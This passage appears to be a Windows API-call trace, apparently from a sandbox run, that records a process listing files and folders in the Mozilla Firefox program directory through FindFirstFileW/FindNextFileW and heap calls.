Flags=0x0, Size=0x10000) returned 0x3a50048 [0290.608] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Mozilla Firefox\\gmp-clearkey\\*", lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec13ee02, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecaee98b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecaee98b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0290.608] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec13ee02, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecaee98b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecaee98b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0290.608] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecaee98b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecb87321, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecb87321, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.1", cAlternateFileName="")) returned 1 [0290.608] GetProcessHeap () returned 0xaf0000 [0290.608] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0290.609] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Mozilla Firefox\\gmp-clearkey\\0.1\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecaee98b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecb87321, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecb87321, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0290.609] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecaee98b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecb87321, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecb87321, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0290.609] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecaee98b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecaee98b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9c0a8c80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x179d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="clearkey.dll", cAlternateFileName="")) returned 1 [0290.609] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb87321, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecb87321, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xdf163100, ftLastWriteTime.dwHighDateTime=0x1d31cdd, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1 [0290.609] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb87321, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecb87321, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xdf163100, ftLastWriteTime.dwHighDateTime=0x1d31cdd, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 0 [0290.610] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0290.610] GetProcessHeap () returned 0xaf0000 [0290.610] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0290.610] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecaee98b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecb87321, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecb87321, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.1", cAlternateFileName="")) returned 0 [0290.610] FindClose (in: hFindFile=0xb02d88 | out: hFindFile=0xb02d88) returned 1 [0290.610] GetProcessHeap () returned 0xaf0000 [0290.610] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a50048 | out: hHeap=0xaf0000) returned 1 [0290.611] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec13ee02, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec13ee02, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x78dfdd00, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x139d0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="IA2Marshal.dll", cAlternateFileName="IA2MAR~1.DLL")) returned 1 [0290.611] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9cbc491, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xf7d369cb, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf7c77d82, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x7492, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="install.log", cAlternateFileName="")) returned 1 [0290.611] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec13ee02, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec13ee02, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x79787380, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0xd3d0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="lgpllibs.dll", cAlternateFileName="")) returned 1 [0290.611] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec16506e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec16506e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7aa9a080, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x69d0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="libEGL.dll", cAlternateFileName="")) returned 1 [0290.611] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec16506e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec16506e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7c736400, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x1d5bd0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="libGLESv2.dll", cAlternateFileName="LIBGLE~1.DLL")) returned 1 [0290.611] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec16506e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec16506e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7da49100, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x2f5d0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="maintenanceservice.exe", cAlternateFileName="MAINTE~1.EXE")) returned 1 [0290.611] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec18b2c8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec18b2c8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7ed5be00, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x265a8, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="maintenanceservice_installer.exe", cAlternateFileName="MAINTE~2.EXE")) returned 1 [0290.611] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec1b1534, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec1b1534, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x8006eb00, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x963d0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="minidump-analyzer.exe", cAlternateFileName="MINIDU~1.EXE")) returned 1 [0290.611] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec1b1534, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec1b1534, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x81d0ae80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x176bd0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="mozavcodec.dll", cAlternateFileName="MOZAVC~1.DLL")) returned 1 [0290.611] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec1d77a1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec1d77a1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x8301db80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x299d0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="mozavutil.dll", cAlternateFileName="MOZAVU~1.DLL")) returned 1 [0290.611] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec1d77a1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec1d77a1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x84330880, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x269d0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="mozglue.dll", cAlternateFileName="")) returned 1 [0290.612] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec1d77a1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec1d77a1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x93608900, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x9a940, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0290.612] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec1fd9fb, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec1fd9fb, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x85fccc00, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x172fd0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="nss3.dll", cAlternateFileName="")) returned 1 [0290.612] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec1fd9fb, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec1fd9fb, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x872df900, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x785d0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="nssckbi.dll", cAlternateFileName="")) returned 1 [0290.612] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec223c5b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec223c5b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x885f2600, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="nssdbm3.chk", cAlternateFileName="")) returned 1 [0290.612] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec223c5b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec223c5b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x885f2600, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x1bfd0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="nssdbm3.dll", cAlternateFileName="")) returned 1 [0290.612] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec249eb7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec249eb7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb5133d80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x1196618, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="omni.ja", cAlternateFileName="")) returned 1 [0290.612] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec270127, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec270127, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x89905300, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0xf7d0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="pingsender.exe", cAlternateFileName="PINGSE~1.EXE")) returned 1 [0290.612] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec296381, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec296381, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xdf163100, ftLastWriteTime.dwHighDateTime=0x1d31cdd, nFileSizeHigh=0x0, nFileSizeLow=0xa6, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="platform.ini", cAlternateFileName="")) returned 1 [0290.612] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec296381, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec296381, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x8ac18000, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x18bd0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="plugin-container.exe", cAlternateFileName="PLUGIN~1.EXE")) returned 1 [0290.612] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec2bc5f9, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec2bc5f9, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x8b5a1680, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x8dd0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="plugin-hang-ui.exe", cAlternateFileName="PLUGIN~2.EXE")) returned 1 [0290.612] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5b75a0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec5b75a0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xbc628460, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0xfc7, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="precomplete", cAlternateFileName="PRECOM~1")) returned 1 [0290.612] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5b75a0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec5b75a0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x8c8b4380, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x49d0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="qipcap64.dll", cAlternateFileName="")) returned 1 [0290.613] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5dd848, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec5dd848, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xec53900, ftLastWriteTime.dwHighDateTime=0x1d31cde, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="removed-files", cAlternateFileName="REMOVE~1")) returned 1 [0290.613] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5dd848, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec5dd848, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x8dbc7080, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="softokn3.chk", cAlternateFileName="")) returned 1 [0290.613] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec603a89, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec603a89, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x8dbc7080, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x2d5d0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="softokn3.dll", cAlternateFileName="")) returned 1 [0290.613] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec603a89, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec603a89, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0xf36c0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="ucrtbase.dll", cAlternateFileName="")) returned 1 [0290.613] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9d2ec34, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef639ad2, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef639ad2, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="uninstall", cAlternateFileName="UNINST~1")) returned 1 [0290.613] GetProcessHeap () returned 0xaf0000 [0290.613] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a50048 [0290.613] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Mozilla Firefox\\uninstall\\*", lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9d2ec34, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef639ad2, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef639ad2, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0290.614] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9d2ec34, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef639ad2, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef639ad2, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0290.614] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecac873b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecac873b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9d3bb980, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0xd9c28, dwReserved0=0x0, dwReserved1=0x0, cFileName="helper.exe", cAlternateFileName="")) returned 1 [0290.614] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef639ad2, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef639ad2, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef875ed7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="shortcuts_log.ini", cAlternateFileName="SHORTC~1.INI")) returned 1 [0290.614] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9d2ec34, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe9d2ec34, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf7ad4356, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xeea, dwReserved0=0x0, dwReserved1=0x0, cFileName="uninstall.log", cAlternateFileName="UNINST~1.LOG")) returned 1 [0290.614] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9d2ec34, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe9d2ec34, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf7ad4356, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xeea, dwReserved0=0x0, dwReserved1=0x0, cFileName="uninstall.log", cAlternateFileName="UNINST~1.LOG")) returned 0 [0290.614] FindClose (in: hFindFile=0xb03148 | out: hFindFile=0xb03148) returned 1 [0290.614] GetProcessHeap () returned 0xaf0000 [0290.614] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a50048 | out: hHeap=0xaf0000) returned 1 [0290.614] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec629cf8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec629cf8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xdde50400, ftLastWriteTime.dwHighDateTime=0x1d31cdd, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="update-settings.ini", cAlternateFileName="UPDATE~1.INI")) returned 1 [0290.614] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, 